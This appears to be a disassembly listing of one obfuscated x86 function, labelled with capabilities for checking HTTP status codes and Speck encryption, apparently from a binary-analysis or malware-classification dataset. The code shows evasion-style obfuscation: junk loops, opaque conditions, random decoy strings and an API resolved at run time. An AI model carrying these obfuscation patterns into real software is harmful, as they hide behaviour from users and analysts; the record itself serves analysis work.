Function at 0x1002b7b6
Capabilities:
Check http status code
Encrypt data using speck

Disassembly:
mov eax, 0x10054f31
call fcn.10053f54
sub esp, 0x584
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1f4], edx
mov dword [ebp - 0x174], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], 0x34d8
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x1002b801
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2e8], 0xab76d609
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002b7f0
push 2
mov dword [ebp - 0x14], ebx
pop ecx
jmp 0x1002b820
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x248], 0xdbc56e70
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002b80f
mov dword [ebp - 0x14], ebx
jmp 0x1002b83b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x22c], 0x36378284
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002b82a
mov eax, dword [ebp - 0x248]
inc dword [ebp - 0x248]
cmp eax, 1
jge 0x1002b856
xor esi, esi
inc esi
jmp 0x1002b858
mov esi, ebx
mov eax, dword [ebp - 0x2dc]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x228]
mov eax, dword [ebp - 0x2e8]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x228]
mov eax, dword [ebp - 0x228]
mov edx, dword [ebp - 0x2e8]
add eax, ecx
imul edx, eax
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1ac], ebx
mov dword [ebp - 0x1a8], ebx
mov dword [ebp - 0x1a4], ebx
cmp eax, edx
setle cl
xor eax, eax
cmp esi, ecx
setne al
xor ecx, ecx
imul eax, eax, 0x97a8
test eax, eax
sets cl
mov dword [ebp - 0x2e8], ecx
xor edx, edx
mov eax, 0x996a5308
inc edx
mov byte [ebp - 4], dl
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x20], 0x320525c7
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0xc2c6
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jne 0x1002b909
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x234]
cmp eax, edx
setge cl
cmp dword [ebp - 0x14], ecx
jne 0x1002b93f
push ecx
lea eax, [ebp - 0x58]
mov byte [ebp - 0x58], bl
push eax
push ebx
mov ecx, 0x210
call fcn.1002b50a
add esp, 0xc
jmp 0x1002b9b0
mov dword [ebp - 0x18], 0xfff9
mov dword [ebp - 0x20], 0x5f402be2
cmp dword [ebp - 0x234], ebx
jge 0x1002b95c
mov esi, edx
cmp dword [ebp - 0x14], ebx
jne 0x1002b95e
mov esi, ebx
mov ecx, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, esi
setg al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x18]
je 0x1002b986
cmp dword [ebp - 0x18], ebx
jne 0x1002b986
mov eax, ebx
jmp 0x1002b989
xor eax, eax
inc eax
mov edx, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], ebx
jl 0x1002b9f9
mov dword [ebp - 0x3c], 0xffffffff
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1002b9da
push ecx
mov edx, 0x4909
xor cl, cl
call fcn.1002b601
pop ecx
mov dword [ebp - 0x20], 0x1ec6
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x234]
sub ecx, eax
mov eax, dword [ebp - 0x20]
add eax, ecx
mov dword [ebp - 0x3c], eax
dec dword [ebp - 0x18]
jns 0x1002b9bc
push 0x72
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0xbc], 0x1d0b740a
mov dword [ebp - 0xb8], 0x4105030c
mov dword [ebp - 0xb4], 0x9034c01
mov dword [ebp - 0xb0], 0x26042b06
mov dword [ebp - 0xac], 0x37001109
mov dword [ebp - 0xa8], 0x54032c07
mov dword [ebp - 0xa4], 0xc02fe55
mov word [ebp - 0xa0], 0xd08
mov word [ebp - 0x330], ax
pop esi
mov dword [ebp - 0x168], ecx
cmp esi, 0x16
jne 0x1002ba70
push 4
pop ecx
push 0x18
mov dword [ebp - 0x168], ecx
pop esi
jmp 0x1002bac8
movzx edx, byte [ebp + esi - 0xbb]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xbe]
movzx ecx, word [ebp + eax*2 - 0x344]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xbc]
add ecx, edx
xor dl, dl
push ecx
mov word [ebp + eax*2 - 0x344], cx
lea eax, [ebp - 0x168]
push eax
push 0x39be
mov ecx, 0x5e8d
call fcn.1002af60
mov ecx, dword [ebp - 0x168]
add esp, 0xc
add esi, 2
cmp esi, 0x1e
jb 0x1002ba5d
xor eax, eax
mov dword [ebp - 0x9c], 0x5004d000
push 0x6e
mov word [ebp - 0x32a], ax
mov ecx, ebx
pop eax
push 2
mov dword [ebp - 0x98], 0x1fe6879
mov dword [ebp - 0x94], 0x70c0301
mov dword [ebp - 0x90], 0x2040406
mov dword [ebp - 0x8c], 0x64e054c
mov byte [ebp - 0x88], 0xb
mov word [ebp - 0x2c0], ax
pop esi
mov dword [ebp - 0x178], ecx
cmp esi, 2
jne 0x1002bb39
push 5
pop ecx
push ecx
mov dword [ebp - 0x178], ecx
pop esi
jmp 0x1002bb8e
movzx edx, byte [ebp + esi - 0x9b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x9e]
movzx ecx, word [ebp + eax*2 - 0x2c0]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x9c]
add ecx, edx
push ecx
push 1
sub esp, 0x10
mov word [ebp + eax*2 - 0x2c0], cx
lea ecx, [ebp - 0x178]
push 0x6386
call fcn.1002b12a
mov ecx, dword [ebp - 0x178]
add esp, 0x1c
add esi, 2
cmp esi, 0x15
jb 0x1002bb27
mov dword [ebp - 0x2c], 0xe6a
cmp dword [ebp - 0x2c], 0x111a
jle 0x1002bc0e
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, esi
lea ecx, [ebp - 0x45c]
xor eax, edi
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002bbd3
mov eax, dword [eax]
push eax
call fcn.1003bcd0
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x45c]
call fcn.10001623
inc edi
cmp edi, 0x6f12
jl 0x1002bbb7
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x276
jl 0x1002bbb0
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x6f10
jl 0x1002bbab
xor eax, eax
cmp dword [ebp - 0x2c], 0xcd0
mov word [ebp - 0x2b0], ax
jge 0x1002bc2b
push str.cmaiimv_wxzesml_ofnswtagi_xdznppuvy_twv_ewfa_zuxwtgylu_cxkrowv_mwjbwn_ibqu_nunjxwc
call fcn.1003bcd0
pop ecx
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x318]
xor eax, eax
mov dword [ebp - 0x304], 7
mov word [ebp - 0x318], ax
lea eax, [ebp - 0x2c0]
push eax
mov dword [ebp - 0x308], ebx
call fcn.10014086
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x300]
xor eax, eax
mov dword [ebp - 0x2ec], 7
mov word [ebp - 0x300], ax
lea eax, [ebp - 0x344]
push eax
mov dword [ebp - 0x2f0], ebx
call fcn.10014086
lea eax, [ebp - 0x300]
push eax
lea ecx, [ebp - 0x3f0]
call fcn.100042af
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp - 0x3d8]
call fcn.100042af
push ebx
push 1
lea ecx, [ebp - 0x300]
call fcn.10003fdb
push ebx
push 1
lea ecx, [ebp - 0x318]
call fcn.10003fdb
mov byte [ebp - 4], 5
lea eax, [ebp - 0x3c0]
push dword [ebp - 0x74]
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 0x1c4], ebx
push eax
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0x1c0], ebx
push eax
push ebx
mov dword [ebp - 0x1bc], ebx
call fcn.1002de30
push fcn.1002d6e1
push 1
push 0x30
lea eax, [ebp - 0x3f0]
mov byte [ebp - 4], 7
push eax
call fcn.1003c0f6
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1002bd4d
push 0x53c3
push 1
push 1
push 0x3893
mov byte [ebp - 0x56], bl
lea ecx, [ebp - 0x56]
push 0x16e3
xor dl, dl
call fcn.1002b49f
mov eax, dword [ebp - 0x18]
add esp, 0x14
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1a
jle 0x1002bd24
push 7
xor eax, eax
mov dword [ebp - 0x1c], str.hmxdsf_keurg_dvex_zlp_fmevkk_sljfz_rrvor_zdil_mdcowe
pop ecx
lea edi, [ebp - 0x344]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x2c], 0x6953
cmp dword [ebp - 0x2c], 0x6be3
jle 0x1002bde2
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov dword [ebp - 0x20], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, esi
lea ecx, [ebp - 0x4a4]
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002bda7
mov eax, dword [eax]
push eax
call fcn.1003bcd0
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4a4]
call fcn.10001623
inc edi
cmp edi, 0x112f
jl 0x1002bd88
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x3e95
jl 0x1002bd81
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x40a
jl 0x1002bd7c
mov dword [ebp - 0x260], 0x31966c47
mov dword [ebp - 0x14], ebx
jmp 0x1002be02
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x84], 0xc03342eb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1002bdf1
mov dword [ebp - 0x14], ebx
jmp 0x1002be1e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x414], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002be0d
mov dword [ebp - 0x14], ebx
jmp 0x1002be3a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x28c], 0xda7209c3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002be29
mov dword [ebp - 0x84], ebx
cmp dword [ebp - 0x84], 7
je 0x1002bf74
mov dword [ebp - 0x240], 8
mov dword [ebp - 0x3c], 0x82eac453
mov dword [ebp - 0x208], 0xffffffff
mov dword [ebp - 0x3c], 0x8f576c51
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x270], 0xa205b290
mov dword [ebp - 0x218], 8
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x20], 0x76ed
cmp dword [ebp - 0x20], 0x79d1
jle 0x1002bed1
mov esi, ebx
mov edi, esi
mov ebx, 0x57bd
mov eax, edi
mov ecx, 0x1006d158
cdq
push edx
push eax
call fcn.100021b6
dec edi
dec ebx
jne 0x1002beb5
inc esi
cmp esi, 0xd31
jl 0x1002beae
mov byte [ebp - 4], 8
cmp dword [ebp - 0x20], 0x7671
jge 0x1002bf0b
mov edx, str.ezdbb_vulgecrkg_rkjhmj_jvg_jaz_qyjwinll_dgyrmrbv
mov ecx, 0x1006d158
call fcn.100037d8
jmp 0x1002bf0b
mov dword [ebp - 4], 7
mov dword [ebp - 0x18], ebx
jmp 0x1002bf28
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x37c], 0xc587c7ab
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002bf17
inc dword [ebp - 0x28c]
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x208]
mov ecx, 0x6c62
push eax
push 1
push 1
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x218]
push eax
push 1
lea edx, [ebp - 0x240]
call fcn.1002b142
add esp, 0x1c
inc dword [ebp - 0x84]
jmp 0x1002be46
cmp dword [ebp - 0x2c], 0x6914
jge 0x1002bf86
push dword [ebp - 0x1c]
call fcn.1003bcd0
pop ecx
xor eax, eax
mov dword [ebp - 4], 7
lea edi, [ebp - 0x2c0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x1c4]
push eax
push ecx
lea eax, [ebp + 8]
push eax
push ecx
xor cl, cl
call fcn.1002b441
mov dword [ebp - 0x14], 0xfffffffe
add esp, 0x10
mov dword [ebp - 0x18], 0x34ef
cmp dword [ebp - 0x18], 0x383e
jle 0x1002c02a
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov esi, ebx
mov eax, edi
mov dword [ebp - 0x2c], 0x53b5
mov dword [ebp - 0x20], eax
mov ebx, eax
mov edi, 0x77e6
mov eax, ebx
mov ecx, 0x1006d158
cdq
push edx
push eax
call fcn.100021b6
inc ebx
dec edi
jne 0x1002bfe3
mov eax, dword [ebp - 0x20]
add eax, esi
dec dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
jne 0x1002bfdc
mov edi, dword [ebp - 0x24]
inc esi
cmp esi, 0x1a06
jl 0x1002bfd0
inc edi
mov dword [ebp - 0x24], edi
push 0
pop ebx
cmp edi, 0x7fb
jl 0x1002bfce
push 0xa5c
push ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov dword [ebp - 0x60], 0x6173948b
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x18], 0x34a3
jge 0x1002c06b
mov edx, str.ebpyjtmc_apsi_dmokqwaoi_uxdcu_wsuetdi
mov ecx, 0x1006d158
call fcn.100037d8
jmp 0x1002c06b
mov dword [ebp - 4], 7
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x18], ebx
jmp 0x1002c08f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x398], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c07e
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
cmp eax, 0x30de
setg cl
xor edx, edx
mov dword [ebp - 0x60], ecx
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
sub ecx, 2
neg eax
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setne dl
add edx, 0x45cd16d
neg edx
sbb edx, edx
inc edx
imul ecx, edx, 0x2749
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, dword [ebp - 0x14]
je 0x1002c12d
mov eax, 0x72b9
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x50], ebx
jmp 0x1002c125
mov dword [ebp - 0x18], ebx
jmp 0x1002c116
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x368], 0x5fa2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002c105
dec dword [ebp - 0x35c]
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 3
jle 0x1002c100
jmp 0x1002c154
push 1
lea eax, [ebp - 0x220]
mov dword [ebp - 0x220], 8
push eax
lea eax, [ebp - 0x50]
push eax
push 0x70fa
lea ecx, [ebp - 0x60]
call fcn.1002b324
add esp, 0x10
push 0xfffffffffffffffa
pop esi
mov dword [ebp - 0x14], esi
jmp 0x1002c19e
mov dword [ebp - 0x60], 1
cmp dword [ebp - 0x60], ebx
jl 0x1002c17c
push ecx
mov byte [ebp - 0x5a], bl
lea edx, [ebp - 0x5a]
xor cl, cl
call fcn.1002b6b3
dec dword [ebp - 0x60]
pop ecx
jns 0x1002c168
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1002c19b
push 0x6923
push ecx
push 0x44e3
push ecx
mov cl, 1
call fcn.1002b441
add esp, 0x10
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x37
je 0x1002c15c
mov dword [ebp - 0x24], 0x6f9b
mov dword [ebp - 0x14], 0xfa8f90a3
mov dword [ebp - 0x3c], 0x20348f4a
mov dword [ebp - 0x18], 0x11fb8eb5
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x1c], 0xc63704ba
mov dword [ebp - 0x14], 0x242c
cmp dword [ebp - 0x14], 0x27f1
jle 0x1002c241
mov edi, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], 0x3083
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x408]
xor eax, esi
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002c20b
mov eax, dword [eax]
push eax
call fcn.1003bcd0
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x408]
call fcn.10001623
inc esi
cmp esi, 0x95c
jl 0x1002c1ef
dec edi
dec dword [ebp - 0x20]
jne 0x1002c1ed
mov edi, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x18], edi
cmp edi, 0x73a8
jl 0x1002c1e3
push 0xfffffffffffffffa
pop esi
mov dword [ebp - 0x20], 0x47cf
cmp dword [ebp - 0x14], 0x212f
jge 0x1002c25c
push str.kibvqb_ckn_lhioz
call fcn.1003bcd0
pop ecx
mov dword [ebp - 4], 7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], ebx
jmp 0x1002c27d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x80], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c26f
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], 0x8fde
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor edx, edx
add ecx, 0x10000
cmp eax, ecx
setge dl
mov dword [ebp - 0x7c], edx
mov edx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x3c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x24]
je 0x1002c2cb
cmp dword [ebp - 0x80], ebx
jne 0x1002c2cb
mov ecx, ebx
jmp 0x1002c2ce
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x24]
sub eax, ecx
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x4f34d89b
mov eax, dword [ebp - 0x7c]
setg cl
xor edx, edx
cmp ecx, 0x5de0
setle dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x80]
setg cl
imul edx, ecx
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x2c]
sub eax, 6
add eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
imul eax, eax, 0xf13a
cmp eax, dword [ebp - 0x2c]
je 0x1002c337
cmp dword [ebp - 0x14], ebx
je 0x1002c337
xor eax, eax
inc eax
jmp 0x1002c339
mov eax, ebx
inc eax
cmp eax, dword [ebp - 0x80]
je 0x1002c342
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x7c]
sub eax, 0x92f88b31
neg eax
push ebx
sbb eax, eax
inc eax
push 0x2cfc
mov dword [ebp - 0x14], eax
push 0x6def
call fcn.1000dfc5
pop ecx
pop ecx
call eax
mov dword [ebp - 0x18], 5
push 6
pop eax
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18], ebx
je 0x1002c5ea
push ebx
push 0x2854
mov dword [ebp - 0x34], esi
lea eax, [ebp - 0x34]
push 0x20a5
mov dword [ebp - 0x24], ebx
mov ecx, 0x7379
mov dword [ebp - 0x1fc], 0xffffffff
push eax
call fcn.1002b324
add esp, 0x10
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], 3
jg 0x1002c600
mov dword [ebp - 0x204], 0xffffffff
xor edx, edx
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x194]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x198]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x198]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x198]
mov eax, dword [ebp - 0x198]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp + eax*4 - 0x198]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setge dl
sub edx, eax
mov eax, dword [ebp - 0x18c]
sub edx, eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x198]
sub edx, eax
je 0x1002c456
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1002c5c9
call fcn.1002b489
jmp 0x1002c5c9
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x1b0], 0x76bd76df
mov dword [ebp - 0x1f8], 0xf323e629
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 3
jg 0x1002c5a0
mov dword [ebp - 0x14], ebx
jmp 0x1002c490
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x284], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002c483
mov dword [ebp - 0x14], ebx
jmp 0x1002c4ac
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x24c], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1002c49b
mov dword [ebp - 0x3c], 0x1dd2
cmp dword [ebp - 0x3c], 0x1edf
jle 0x1002c53d
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
lea edx, [eax + ecx]
mov esi, ebx
mov ecx, edi
shl edx, cl
mov dword [ebp - 0x1c], edx
mov eax, esi
lea ecx, [ebp - 0x474]
xor eax, edx
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002c4f6
mov eax, dword [eax]
push eax
call fcn.1003bcd0
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x474]
call fcn.10001623
mov edx, dword [ebp - 0x1c]
inc esi
cmp esi, 0x44c8
jl 0x1002c4da
mov eax, dword [ebp - 0x2c]
inc edi
mov ecx, dword [ebp - 0x24]
cmp edi, 0x2122
jl 0x1002c4ce
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x5465
jl 0x1002c4cc
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x1222
jl 0x1002c4c7
cmp dword [ebp - 0x284], ebx
jne 0x1002c54b
mov eax, dword [ebp - 0x194]
mov eax, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x194]
mov eax, dword [ebp - 0x284]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x198]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x24c], 3
cmp dword [ebp - 0x3c], 0x1cfd
jge 0x1002c591
push str.qpqtesg_kuacqi_cjb_kxlu
call fcn.1003bcd0
pop ecx
mov dword [ebp - 4], 7
inc dword [ebp - 0x18]
jmp 0x1002c474
lea eax, [ebp - 0x1b0]
mov dl, 1
push eax
push 1
push 1
lea eax, [ebp - 0x1f8]
mov ecx, 0x497e
push 0xe9a
push eax
call fcn.1002b49f
add esp, 0x14
push 0xfffffffffffffffa
pop esi
push ecx
lea eax, [ebp - 0x1fc]
push eax
push ecx
lea edx, [ebp - 0x204]
mov cl, 1
call fcn.1002b4ea
add esp, 0xc
inc dword [ebp - 0x34]
jmp 0x1002c3c6
push ecx
push 0x5ba2
push 1
lea ecx, [ebp - 0x57]
mov byte [ebp - 0x57], bl
call fcn.1002b50a
add esp, 0xc
push ecx
push ebx
sub esp, 0x10
lea eax, [ebp - 0x328]
mov ecx, 0x44b8
push eax
call fcn.1002b12a
add esp, 0x1c
mov dword [ebp - 0x18], 5
push 6
pop eax
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x18], ebx
je 0x1002c8ba
push 0x61e6
push 0x7f55
push 1
push ebx
push 0x55c7
mov dword [ebp - 0x30], esi
lea ecx, [ebp - 0x30]
push 0x703
mov dword [ebp - 0x24], ebx
mov edx, 0x499b
mov dword [ebp - 0x26c], 0xffffffff
push 1
call fcn.1002b142
mov dword [ebp - 0x1c], 0x22a9
add esp, 0x1c
cmp dword [ebp - 0x1c], 0x268c
jle 0x1002c727
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov edx, ecx
mov edi, ebx
mov ecx, eax
mov dword [ebp - 0x3c], edi
shl edx, cl
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], edi
mov esi, ebx
xor edi, edx
mov eax, esi
lea ecx, [ebp - 0x48c]
or eax, edi
cdq
push edx
push eax
call fcn.10001311
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002c6cc
mov eax, dword [eax]
push eax
call fcn.1003bcd0
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x48c]
call fcn.10001623
inc esi
cmp esi, 0x3013
jl 0x1002c6b0
mov edi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x14]
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0x1d7f
jl 0x1002c6a9
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x7cf6
jl 0x1002c69b
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x5fb2
jl 0x1002c696
push ebx
call dword [sym.imp.USER32.dll_IsRectEmpty]
push 0xfffffffffffffffa
pop esi
mov dword [ebp - 0x30], ebx
jmp 0x1002c893
mov dword [ebp - 0x224], 0xffffffff
xor edx, edx
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x184]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x188]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x188]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x188]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x188]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setge dl
sub edx, eax
mov eax, dword [ebp - 0x17c]
sub edx, eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0x188]
sub edx, eax
je 0x1002c7da
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1002c872
push 0x630f
push 0x1238
push ebx
push 1
push 0x7f9
push 0x1ba6
push ebx
mov edx, 0x5815
mov ecx, 0x6f23
call fcn.1002b142
add esp, 0x1c
jmp 0x1002c872
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x3c], 0x76bd76df
push 3
mov dword [ebp - 0x2c], 0xf323e629
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x1002c867
mov dword [ebp - 0x14], ebx
